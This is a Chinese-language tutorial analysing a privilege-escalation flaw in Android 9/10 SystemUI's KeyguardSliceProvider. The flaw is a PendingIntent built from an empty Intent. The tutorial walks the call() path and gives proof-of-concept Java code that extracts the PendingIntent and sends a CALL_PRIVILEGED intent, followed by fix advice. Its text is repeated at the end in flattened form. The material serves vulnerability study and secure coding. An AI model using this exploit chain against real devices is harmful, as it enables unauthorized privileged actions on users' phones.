某AOSP框架层提权漏洞分析
字数 1452 2025-08-09 23:12:49

AOSP框架层提权漏洞分析与利用教学文档

1. 漏洞背景与前置知识

1.1 ContentProvider的call函数

ContentProvidercall函数原型之一:

public Bundle call(String method, String arg, Bundle extras)

特点:

  • 提供直接操作Provider的接口
  • 参数:
    • method: 方法名(String)
    • arg: 参数(String)
    • extras: 额外参数(Bundle)
  • 返回Bundle类型数据

重要安全警告

  • Android框架不对call函数进行权限检查
  • 开发者必须自行实现权限检查
  • AndroidManifest中的权限设置可能无效

1.2 SliceProvider特性

Slice是Android P引入的应用间共享UI内容的机制:

  • SliceProvider用于分享Slice
  • SlicePresenter展示Slice
  • 主要流程:
    • 调用onBindSlice()获取Slice内容
    • 使用notifyChange()更新Slice

2. 漏洞分析

2.1 漏洞位置

影响版本:Android 9和Android 10

漏洞文件:

  • frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
  • frameworks/base/core/java/android/app/slice/SliceProvider.java

2.2 漏洞代码

关键漏洞代码:

protected void addPrimaryAction(ListBuilder builder) {
    // 漏洞点:PendingIntent初始化时使用了空Intent
    PendingIntent pi = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
    Icon icon = Icon.createWithResource(getContext(), R.drawable.ic_access_alarms_big);
    SliceAction action = new SliceAction(pi, icon, mLastText);
    RowBuilder primaryActionRow = new RowBuilder(builder, Uri.parse(KEYGUARD_ACTION_URI))
            .setPrimaryAction(action);
    builder.addRow(primaryActionRow);
}

2.3 漏洞原因

  1. PendingIntent初始化时构造了空Intent

    • 未指定Package
    • 未指定Action
  2. 攻击者可利用PendingIntent.send()时填充任意Intent内容

  3. 系统在PendingIntentRecord.sendInner中调用finalIntent.fillIn(intent,key.flags),允许调用者填充Intent

3. 漏洞触发路径

3.1 call函数处理流程

@Override
public Bundle call(String method, String arg, Bundle extras) {
    if (method.equals(METHOD_SLICE)) {
        Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
                extras.getParcelable(EXTRA_BIND_URI)));
        List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);
        String callingPackage = getCallingPackage();
        int callingUid = Binder.getCallingUid();
        int callingPid = Binder.getCallingPid();
        
        // 触发handleBindSlice
        Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
        Bundle b = new Bundle();
        b.putParcelable(EXTRA_SLICE, s);
        return b;
    } else if (method.equals(METHOD_MAP_INTENT))
        return super.call(method, arg, extras);
}

3.2 handleBindSlice流程

private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs, 
        String callingPkg, int callingUid, int callingPid) {
    // 检查权限
    mSliceManager.enforceSlicePermission(sliceUri, pkg, callingPid, callingUid, mAutoGrantPermissions);
    
    // 触发onBindSliceStrict
    return onBindSliceStrict(sliceUri, supportedSpecs);
}

3.3 onBindSliceStrict流程

private Slice onBindSliceStrict(Uri sliceUri, List<SliceSpec> supportedSpecs) {
    try {
        // 触发派生类的onBindSlice实现
        return onBindSlice(sliceUri, new ArraySet<>(supportedSpecs));
    } finally {
        StrictMode.setThreadPolicy(oldPolicy);
    }
}

3.4 KeyguardSliceProvider实现

@Override
public Slice onBindSlice(Uri sliceUri) {
    ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
    // ...其他操作...
    addPrimaryActionLocked(builder);  // 触发漏洞点
    slice = builder.build();
    return slice;
}

protected void addPrimaryActionLocked(ListBuilder builder) {
    IconCompat icon = IconCompat.createWithResource(getContext(), R.drawable.ic_access_alarms_big);
    // 漏洞点:使用未初始化的mPendingIntent
    SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon, ListBuilder.ICON_IMAGE, mLastText);
    RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
            .setPrimaryAction(action);
    builder.addRow(primaryActionRow);
}

4. 漏洞利用过程

4.1 构造call函数参数

  1. URI路径:

    final static String uriKeyguardSlices = "content://com.android.systemui.keyguard";
    
  2. 构造请求Bundle:

    private Bundle prepareReqBundle() {
        Bundle extras = new Bundle();
        extras.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));
        ArrayList<Parcelable> lists = new ArrayList<Parcelable>();
        lists.add(new SliceSpec("androidx.slice.LIST", 1));
        lists.add(new SliceSpec("androidx.app.slice.BASIC", 1));
        lists.add(new SliceSpec("androidx.slice.BASIC", 1));
        lists.add(new SliceSpec("androidx.app.slice.LIST", 1));
        extras.putParcelableArrayList("supported_specs", lists);
        return extras;
    }
    
  3. 调用call函数:

    Bundle responseBundle = getContentResolver().call(
        Uri.parse(uriKeyguardSlices), 
        "bind_slice", 
        null, 
        prepareReqBundle());
    

4.2 权限申请

由于直接访问SystemUI的Slice需要授权,需构造权限申请Intent:

Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
intent.setComponent(new ComponentName("com.android.systemui", 
    "com.android.systemui.SlicePermissionActivity"));
Uri uri = Uri.parse(uriKeyguardSlices);
intent.putExtra("slice_uri", uri);
intent.putExtra("pkg", getPackageName());
intent.putExtra("provider_pkg", "com.android.systemui");
startActivity(intent);

4.3 提取PendingIntent

从返回的Bundle中提取PendingIntent

  1. 标准路径(可能因厂商不同而变化):

    Slice slice = responseBundle.getParcelable("slice");
    PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
    
  2. 通用方法(遍历查找):

    // 打印Slice结构体内容,寻找PendingIntent
    Log.d("see", "slice: " + slice.getItems().get(1).getSlice().getItems().get(0)
        .getSlice().getItems().get(0).getAction().toString());
    

4.4 构造恶意Intent

利用获取的PendingIntent执行特权操作:

Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
evilIntent.setData(Uri.parse("tel:000"));
try {
    pi.send(getApplicationContext(), 0, evilIntent, null, null);
} catch (PendingIntent.CanceledException e) {
    e.printStackTrace();
}

5. 漏洞修复建议

  1. 初始化PendingIntent时应指定完整的Intent

    Intent intent = new Intent();
    intent.setPackage(getContext().getPackageName());
    intent.setAction("specific.action");
    PendingIntent pi = PendingIntent.getActivity(getContext(), 0, intent, 0);
    
  2. call函数中增加严格的权限检查

  3. 限制PendingIntent的使用范围,避免使用空Intent

  4. 对敏感操作进行双重验证

6. 总结

该漏洞利用链展示了:

  1. ContentProvidercall函数权限检查缺失
  2. PendingIntent初始化不当导致的安全问题
  3. 通过精心构造的Bundle参数触发漏洞
  4. 利用系统API的默认行为实现权限提升

理解此漏洞有助于开发者更好地编写安全的Android代码,特别是处理跨进程通信和权限控制时。

AOSP框架层提权漏洞分析与利用教学文档 1. 漏洞背景与前置知识 1.1 ContentProvider的call函数 ContentProvider 的 call 函数原型之一: 特点: 提供直接操作Provider的接口 参数: method : 方法名(String) arg : 参数(String) extras : 额外参数(Bundle) 返回Bundle类型数据 重要安全警告 : Android框架不对 call 函数进行权限检查 开发者必须自行实现权限检查 AndroidManifest 中的权限设置可能无效 1.2 SliceProvider特性 Slice是Android P引入的应用间共享UI内容的机制: SliceProvider 用于分享Slice SlicePresenter 展示Slice 主要流程: 调用 onBindSlice() 获取Slice内容 使用 notifyChange() 更新Slice 2. 漏洞分析 2.1 漏洞位置 影响版本:Android 9和Android 10 漏洞文件: frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java frameworks/base/core/java/android/app/slice/SliceProvider.java 2.2 漏洞代码 关键漏洞代码: 2.3 漏洞原因 PendingIntent 初始化时构造了空 Intent : 未指定 Package 未指定 Action 攻击者可利用 PendingIntent.send() 时填充任意 Intent 内容 系统在 PendingIntentRecord.sendInner 中调用 finalIntent.fillIn(intent,key.flags) ,允许调用者填充 Intent 值 3. 漏洞触发路径 3.1 call函数处理流程 3.2 handleBindSlice流程 3.3 onBindSliceStrict流程 3.4 KeyguardSliceProvider实现 4. 漏洞利用过程 4.1 构造call函数参数 URI路径: 构造请求Bundle: 调用call函数: 4.2 权限申请 由于直接访问SystemUI的Slice需要授权,需构造权限申请Intent: 4.3 提取PendingIntent 从返回的Bundle中提取 PendingIntent : 标准路径(可能因厂商不同而变化): 通用方法(遍历查找): 4.4 构造恶意Intent 利用获取的 PendingIntent 执行特权操作: 5. 漏洞修复建议 初始化 PendingIntent 时应指定完整的 Intent : 在 call 函数中增加严格的权限检查 限制 PendingIntent 的使用范围,避免使用空 Intent 对敏感操作进行双重验证 6. 总结 该漏洞利用链展示了: ContentProvider 的 call 函数权限检查缺失 PendingIntent 初始化不当导致的安全问题 通过精心构造的 Bundle 参数触发漏洞 利用系统API的默认行为实现权限提升 理解此漏洞有助于开发者更好地编写安全的Android代码,特别是处理跨进程通信和权限控制时。